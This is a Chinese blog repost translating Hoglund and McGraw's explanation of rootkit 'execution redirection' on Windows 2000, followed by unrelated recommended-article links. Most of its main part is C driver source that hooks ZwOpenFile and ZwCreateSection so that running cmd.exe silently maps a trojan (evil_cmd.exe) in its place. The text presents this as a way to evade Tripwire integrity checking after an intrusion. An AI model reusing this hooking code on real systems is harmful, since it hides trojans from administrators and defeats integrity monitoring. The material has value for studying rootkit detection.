执行体的重定向

Windows系统架构总结 系统架构关键组件环境子系统和子系统DLL  环境子系统向应用程序提供环境和应用程序编程接口(Appplication Programming Interface, API)。Windows 2000/XP支持三种环境子系统:Win32、POSIX和OS/2,其中最重要的环境子系统是Win32子系统,其他子系统都要通过Win32子系统接收用户的输入和显示输出。环境子系统的作用是将基本的执行体系统服务的 阅读详情
题目:特洛伊执行体重定向
作者:Greg Hoglund, Gary McGraw
翻译:Rhett
//--------------------------------------------------------------

一旦入侵者拿到系统的root权限,所有监视和审核系统的效能都会大打折扣,甚至是在硬件层面的数据审核和加密校验措施也能被挫败。唯一例外的是被隔离存放的审核和校验系统所在的硬件设备。这个当然是废话。最邻近的系统会被隔离,管理员拿出硬盘在另外的系统上运行完整性检查程序。实际上,这是使用Tripwire安全程序的唯一方法。(Tripwire是流行的,但却有着致命缺陷的完整性检查程序)

执行体重定向和Tripwire的问题

这章我们演示的系统调用hook能在系统下隐藏一些事实。当你替换一个文件或者在原来的地方去执行一个木马文件时会发生什么。系统调用钩子能改变系统调用的逻辑并提供一些附加功能,后门,甚至改变请求的目标。拿Tripwire这样普遍的监视后门木马的程序来说。Tripwire程序读取系统每个文件的内容并根据内容数据生成一个加密hash。当文件内容被改变时会生成新的hash值。这就是说当下次管理员用Tripwire进行检查时会发现新的hash值。理论上这是个好方法,但实际上是根本没用的。

让我们来看看当黑客在目标系统上安装了内核级rootkit后会发生些什么。这个例子将说明黒客如何用木马文件替换原始版本的文件。黒客会挫败Tripwire以使安全管理员不能检测到后门的存在。演示说明用的系统是windows 2000。简单起见,假设入侵者发现了一个借助php脚本,在windows 2000 web 服务器远程执行代码的漏洞。入侵者的首要任务是利用此漏洞在系统上安装一个可执行文件。入侵者编译了一个window2000下的驱动,驱动hook掉了下面两个系统调用:

ZwOpenFile

ZwCreateSection

安装驱动来hook这两个系统调用,并且在启动的时候打开木马文件,拿到木马文件句柄。在我们的例子里,我们将把命令解释程序cmd.exe替换为我们的木马文件evil_cmd.exe。当一个应用程序或管理员自己加载cmd.exe的时候,我们的evil_cmd.exe将能把它替换掉。不幸的是,使用Tripwire并不能发觉到替换的动作。

在编译和测试完毕后,将驱动文件和evil_cmd.exe传送到目标系统上,然后把驱动用一般的方法加载到内存中。

实现重定向的驱动:

实现重定向的驱动用感染程序执行机制(不是程序本身)的方式使得Tripwire失效。驱动并不替换原来的文件。像Tripwire这样的程序将始终是看到正确的数据,因为确实是在打开正确,没修改的文件。我们对ZwOpenFile的hook检查每个打开的文件,并简单的跟踪文件句柄。当驱动发现有对目标文件的请求时,则更改要使用的文件句柄。驱动这时把原来的文件句柄用木马文件的句柄进行替换。这样只影响新进程的创建但并不会影响磁盘上的文件。Tripwire在这时候显得及其蠢笨。

NTSTATUS NewZwOpenFile(
  PHANDLE phFile,
  ACCESS_MASK DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  PIO_STATUS_BLOCK pIoStatusBlock,
  ULONG ShareMode,
  ULONG OpenMode
)
{
    int rc;
    CHAR aProcessName[PROCNAMELEN];

    GetProcessName( aProcessName );
    DbgPrint("rootkit: NewZwOpenFile() from %s/n", aProcessName);

    DumpObjectAttributes(ObjectAttributes);

    rc=((ZWOPENFILE)(OldZwOpenFile)) (
                phFile,
                DesiredAccess,
                ObjectAttributes,
                pIoStatusBlock,
                ShareMode,
                OpenMode);
    if(*phFile)
    {
        DbgPrint("rootkit: file handle is 0x%X/n", *phFile);
        /* ___________________________________________________
        . TESTING ONLY
        . If name starts w/ cmd.exe lets redirect to a Trojan
        . ___________________________________________________ */
        if( !wcsncmp(
                ObjectAttributes->ObjectName->Buffer,
                L"//??//C://WINNT//SYSTEM32//cmd.exe",
                29))
        {
          WatchProcessHandle(*phFile);
        }
    }

    DbgPrint("rootkit: ZwOpenFile : rc = %x/n", rc);
    return rc;
}

对ZwOpenFile的hook可以通过检查打开文件的文件名判断是不是我们感兴趣的文件。如果是的话,把文件句柄保存下来以后使用。我们自定义的hook函数只是简单的调用原始的ZwOpenFile函数,并使执行继续。

  如果是试图用文件句柄创建进程的话,我们的代码将重定向到我们的木马文件。在进程创建之前,先要分配一个块的内存。一个块的内存类似于NT内核的内存映射文件。创建内存块时要用到文件句柄。建立起内存和文件的映射,然后可以调用 ZwCreateProcess 了。我们的驱动监视所有用目标文件句柄对内存块的创建。如果是目标文件被映射,这就是说将要被执行了。这正是我们替换文件句柄的时候。从而使得我们的木马文件被映射,而不是原来的文件。这样做效果非常好。我们对ZwCreateSection 进行如下的替换:

NTSTATUS NewZwCreateSection (
      OUT PHANDLE phSection,
      IN ACCESS_MASK DesiredAccess,
      IN POBJECT_ATTRIBUTES ObjectAttributes,
      IN PLARGE_INTEGER MaximumSize OPTIONAL,
      IN ULONG SectionPageProtection,
      IN ULONG AllocationAttributes,
      IN HANDLE hFile OPTIONAL
      )
{
            int rc;
            CHAR aProcessName[PROCNAMELEN];

            GetProcessName( aProcessName );
            DbgPrint("rootkit: NewZwCreateSection() from %s/n", aProcessName);

            DumpObjectAttributes(ObjectAttributes);

            if(AllocationAttributes & SEC_FILE)
                  DbgPrint("AllocationAttributes & SEC_FILE/n");
            if(AllocationAttributes & SEC_IMAGE)
                  DbgPrint("AllocationAttributes & SEC_IMAGE/n");

            if(AllocationAttributes & SEC_RESERVE)
                  DbgPrint("AllocationAttributes & SEC_RESERVE/n");
            if(AllocationAttributes & SEC_COMMIT)
                  DbgPrint("AllocationAttributes & SEC_COMMIT/n");
            if(AllocationAttributes & SEC_NOCACHE)
                  DbgPrint("AllocationAttributes & SEC_NOCACHE/n");

    DbgPrint("ZwCreateSection hFile == 0x%X/n", hFile);
#if 1
    if(hFile)
    {
        HANDLE newFileH = CheckForRedirectedFile( hFile );
        if(newFileH){
          hFile = newFileH;
        }
    }
#endif
            rc=((ZWCREATESECTION)(OldZwCreateSection)) (
                phSection,
                DesiredAccess,
                ObjectAttributes,
                MaximumSize,
                SectionPageProtection,
                AllocationAttributes,
                hFile);
            if(phSection)
            {
                  DbgPrint("section handle 0x%X/n", *phSection);
            }
    DbgPrint("rootkit: ZwCreateSection : rc = %x/n", rc);
    return rc;
}
木马文件可以用下面的代码映射到内存。以下是上面代码的支持函数。注,这里木马文件是放在C盘根目录下。

HANDLE gFileHandle = 0;
HANDLE gSectionHandle = 0;
HANDLE gRedirectSectionHandle = 0;
HANDLE gRedirectFileHandle = 0;

void WatchProcessHandle( HANDLE theFileH )
{
  NTSTATUS rc;
  HANDLE hProcessCreated, hProcessOpened, hFile, hSection;
  OBJECT_ATTRIBUTES ObjectAttr;
  UNICODE_STRING ProcessName;
  UNICODE_STRING SectionName;
  UNICODE_STRING FileName;
  LARGE_INTEGER MaxSize;
  ULONG SectionSize=8192;

  IO_STATUS_BLOCK ioStatusBlock;
  ULONG allocsize = 0;

  DbgPrint("rootkit: Loading Trojan File Image/n");

  /* first open file w/ NtCreateFile
  . this works for a Win32 image.
  . calc.exe is just for testing.
  */

  RtlInitUnicodeString(&FileName, L"//??//C://evil_cmd.exe");
  InitializeObjectAttributes( &ObjectAttr,
                    &FileName,
                    OBJ_CASE_INSENSITIVE,
                    NULL,
                    NULL);

  rc = ZwCreateFile(
        &hFile,
        GENERIC_READ | GENERIC_EXECUTE,
        &ObjectAttr,
        &ioStatusBlock,
        &allocsize,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ,
        FILE_OPEN,
        0,
        NULL,
        0);
  if (rc!=STATUS_SUCCESS) {
        DbgPrint("Unable to open file, rc=%x/n", rc);
        return 0;
  }
  SetTrojanRedirectFile( hFile );
  gFileHandle = theFileH;
}

HANDLE CheckForRedirectedFile( HANDLE hFile )
{
  if(hFile == gFileHandle)
  {
        DbgPrint("rootkit: Found redirected filehandle - from %x to %x/n", hFile,

gRedirectFileHandle);
        return gRedirectFileHandle;
  }
  return NULL;
}
void SetTrojanRedirectFile( HANDLE hFile )
{
  gRedirectFileHandle = hFile;
}
VB6.0绿色精简版——轻量高效的编程利器 Visual Basic 6.0(简称VB6.0)于1998年发布,是微软基于COM技术构建的可视化开发平台巅峰之作。其核心采用事件驱动编程模型,结合集成开发环境(IDE)中的窗体设计器、代码编辑器与调试器,极大提升了Windows桌面应用的开发效率。End Sub如上代码所示,仅需简单拖放控件并编写几行逻辑,即可实现交互功能,体现了VB6.0“所见即所得”的设计理念。它深度依赖Windows注册表管理组件对象(如OCX、DLL),并通过项目文件(.vbp)组织资源,形成以“工程”为中心的开发范式。 阅读详情

相关推荐

abaqus热力耦合模拟教程学习笔记

学习资源:BV1je4y1a7Ku软件:abaqus2016以m为单位制。

qq_41900477的博客 2万+

OpenClaw+DeepSeek构建可审计AI自动化执行体

结构化自动化是企业级AI落地的核心范式,其本质在于将大模型推理纳入确定性工程闭环:通过事件驱动调度、Schema约束输出、全链路执行审计,实现任务可验证、结果可消费、行为可追溯。OpenClaw作为轻量级调度胶水层,不替代模型,而是强制规范Prompt输入与JSON输出契约;DeepSeek-Coder凭借原生高稳定JSON生成能力与低成本长上下文支持,成为该范式下最适配的推理引擎。典型应用场景包括CRM自动更新、工单智能分类、数据库一致性校验等需7×24小时稳定运行的生产任务,技术价值集中体现于错误率归零

weixin_34082695的博客 334

【遥感数字图像处理(朱文泉)】第四章 变换域处理方法

变换域的处理方法

甜子yu的博客 4311

(转)深入理解section之ZwCreateSection

http://hi.baidu.com/charme000/item/23945ecdb49926d2964452a1 原型: NTSTATUS ZwCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTR...

weixin_30838873的博客 773

F28335 DSP ePWM模块实战:从基础配置到电机控制

本文详细解析了TI TMS320F28335 DSP的ePWM模块,从基础概念、寄存器配置到实战应用。通过代码示例,手把手教你如何配置定时中断、生成PWM波形、实现死区保护与故障联防,并最终完成一个可调速、可换向的直流电机控制项目,是掌握F28335电机控制核心技术的实战指南。

g5h6i的博客 1128

Altera下载器驱动配置:手把手教程(从零实现)

详解Altera USB-Blaster驱动安装全过程,从设备识别到软件配置一步一图,解决常见连接问题,确保开发下载器正常工作,适合初学者快速上手FPGA下载调试。

weixin_35751194的博客 989

zwcreatesection 共享内存区(Section)

zwcreatection创建一个section_object,section_object代表一块能够共享的内存对象。一个进程能够用section_object 来与其他进程共享它的内存空间。section_object 提供进程映射文件到其内存空间的机制。

wowbell的专栏 4840

Seafile搭建以及onlyoffice在线办公

部署seafile docker-compose.yml 如下: 参考此篇文章 version: '2.0' services: db: image: mariadb:10.1 container_name: seafile-mysql environment: - MYSQL_ROOT_PASSWORD=db_dev # mysql root的密码,同时修改 seafile的DB_ROOT_PASSWD与这个一致 - MYSQL_LOG_CONSOLE

dwdcth的专栏 4659

KMD驱动教程续-8

 Kmdtut 8---共享Section通讯                                       共享Section通讯董岩译8.1 结构化异常处理8.1.1 seh驱动程序源代码8.1.2 建立 SEH-frame8.1.3 异常处理8.1.4 卸载SEH-frame8.1.5 使用宏来建立/卸载SEH-frame8.2 共享Section通讯8

guokeno1--JEFF的技术博客 1523

温升试验详解

温升试验是电子设备可靠性验证的重要手段,用于评估器件在正常工作或极限条件下的热稳定性。试验通过测量器件表面或关键点温度与环境温度的差值(ΔT),判断是否存在过热风险。主要依据行业标准,采用热电偶、热像仪等设备测量稳态温度。热阻分析可建立温升与功耗的关系,指导器件选型、PCB热设计和散热结构优化。典型应用包括电源模块和LED电路测试。温升试验通过系统性热分析,能有效提升产品在高负载、高温环境下的可靠性和安全性,对现代小型化、高密度电子设备尤为重要。

硬核科技 1332

手机银行应用架构设计

网上银行借助互联网、移动通信网络等技术向客户提供金融服务,易受到通讯层面的安全威胁,金融机构应从通讯协议、安全认证、通信链路安全等层面,采取措施有效应对相关风险。网上银行系统服务器端提供网上银行应用服务和核心业务处理功能,金融机构应充分利用物理环境、通信网络、计算环境等领域的防护技术,在攻击者和受保护的资源间建立多道严密的安全防线。 网上银行除直接向用户提供金融服务外,也可能与外部机构开展业务合作。在网上银行系统设计、开发、部署和运营过程中,应充分考虑外部机构的系统可能存在的安全风险,并针对各类风险进行有效

银行信息系统应用架构详解 4834

Window内核函数 - 文件的打开

Window内核函数 - 文件的打开

wendyWJGU的博客 767

Pytorch实现EdgeCNN(基于PyTorch实现)

本专栏整理了《图神经网络代码实战》,内包含了不同图神经网络的相关代码实现(PyG以及自实现),理论与实践相结合,如GCN、GAT、GraphSAGE等经典图网络,每一个代码实例都附带有完整的代码。

优快云 精品推荐 1万+

Windows 10 - Python - 线程 - 重定向重构方法

近期在学习 Python 多线程多进程,发现了挺多有趣的东西,结合偶然间独自在测试中的奇妙发现,用一种自我命名的方法来命名这个发现,或者说是方法 —— 重定向重构方法,当然也不清楚是否有人已经发现这个有趣的方法,如果有谁知道的话,可以劳烦告知更多有关于这个方法的事情,非常感谢。 首先,要知道这个有趣的方法,先要知道在 Python 内,是可以实现多个函数重名重参的,假设两个重名重参的中间没有其他调用第一个函数的代码,而在第二个方法后,调用了第二个方法,那么解释器就会指向下一个函数,也就是说 第一个 函数.

Muxiu 868

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Windows Internals学习:CreateProcess 完整流程详解

前面几节讲的都是"进程相关的数据结构长什么样"(EPROCESS、PEB、TEB 之类),以及怎么用工具去查看这些结构。这一节要讲的是这些数据结构究竟是在什么时候、被谁、怎么一步步填出来的——也就是进程从"无"到"能跑起来"的完整生命周期。 所有对外公开文档的进程创建函数,最终都会走到同一个内部函数:,所以这就是分析的起点。创建一个 Windows 进程,实际上要经过操作系统里三个不同的部分分工协作:用一句话概括这七个阶段:新进程Windows子系统 Csrss.exe创建进程一方 Kernel32.dll

虾球 378

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

实验二:ICMP重定向攻击

-:实验原理   ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它的路由表,黑客就会发送ICMP重定向信息给被攻击的主机,让该主机按照黑客的要求来修改路由表。   在VMware虚拟环境中(Virtual Box不同),.2是充当网关的默认地址(通过rout...

weixin_30741653的博客 1266

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

关于crontab以及输出重定向

linux下可以通过配置crontab来定时执行任务,执行体可以是一条系统命令或自己写的一个脚本,同时可以指派用户来执行。配置crontab有两种方法。方法1、使用crontab命令,例如添加一个新的或编辑已有的,使用: crontab -e 就可以进入配置文件。此时配置crontab的执行者是当前登入用户,如果当前用户是root,需要为其他用户配置,可以使用 crontab ...

322

windows操作系统关键的系统组件

一、 1、NTDLL。DLL系统支持库,用于子系统DLL,包含以下两种类型的函数:(1)系统服务分发存根,会调用WINDOWS执行体系统服务(2)内部支持函数,供子系统、子系统DLL及其他的原生映像文件使用第一组函数为执行体系统服务提供了接口,在用户模式下可以通过这些接口函数调用执行体的系统服务。对于每个这样的函数,NTDLL包含了一个同名的入口点。函数内部的代码包含了与处理器

深未来技术 1037

利用JS 直接调用执行OC代码,非提取URL

一: 首先导入JavaScriptCore.framework: 点击左侧工程

sfjsxhb的博客 858

[笔记]深入解析Windows操作系统《三》系统机制

文章目录前言3.1 陷阱分发3.2 对象管理器3.3 同步3.4系统辅助线程3.5 Windows全局标志3.6 高级本地过程调用3.7 内核事件跟踪3.8 WOW643.9 用户模式调试3.10 映像加载器3.11 超级监督者Hyper-V3.12 内核十五管理器3.13 热补丁支持3.14 内核补丁保护3.15 代码完整性总结 前言 3.1 陷阱分发 3.2 对象管理器 3.3 同步 3.4系统辅助线程 3.5 Windows全局标志 3.6 高级本地过程调用 3.7 内核事件跟踪 3.8 WOW64

二次元怪兽的博客 3962

深入解析Windows操作系统笔记——CH3系统机制

3.系统机制 微软提供了一些基本组件让内核模式的组件使用: 1.陷阱分发,包括终端,延迟的过程调用(DPC),异步过程调用(APC),异常分发以及系统服务分发 2.执行体对象管理器 3.同步,包括自旋锁,内核分发器对象,以及等待是如何实现的。 4.系统辅助线程 5.其他的机制,比如Windows全局标记 6.本地过程调用 7.内核事件跟踪 8.Wow64 3.系统机制....

weixin_33895657的博客 194

Windows系统架构总结(转)

系统架构 关键组件 环境子系统和子系统DLL   环境子系统向应用程序提供环境和应用程序编程接口(Appplication Programming Interface, API)。Windows 2000/XP支持三种环境子系统:Win32、POSIX和OS/2,其中最重要的环境子系统是Win32子系统,其他子系统都要通过Win32子系统接收用户的输入和显示输出。环境子系统的作用是将基本...

nethm的专栏 1593

Windows系统架构

系统架构 关键组件环境子系统和子系统DLL  环境子系统向应用程序提供环境和应用程序编程接口(Appplication Programming Interface, API)。Windows 2000/XP支持三种环境子系统:Win32、POSIX和OS/2,其中最重要的环境子系统是Win32子系统,其他子系统都要通过Win32子系统接收用户的输入和显示输出。环境...

weixin_30840573的博客 2166

Shell全解析(三):Shell脚本程序

文章目录一、前言二、Shell脚本中的流程控制2.1 条件判断2.2 循环2.2.1 for循环2.2.2 while循环三、Shell脚本中的函数四、Shell脚本中的输入/输出重定向五、Shell脚本中的文件包含六、尾声 一、前言 本文介绍了Shell脚本程序,主要包括构成程序的流程控制、函数、输入/输出重定向、文件包含四个内容。 二、Shell脚本中的流程控制 程序流程控制一般包括顺序、条件和循环三种,其实顺序不用讲,基本就是程序直接写下去,主要介绍条件和顺序了。 2.1 条件判断 整体示例: if

毛毛的专栏 3256
上一篇: 网易社区被黑 事件涉及猫扑著名人物
下一篇: FSD Direct IO File Operation Library Source
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值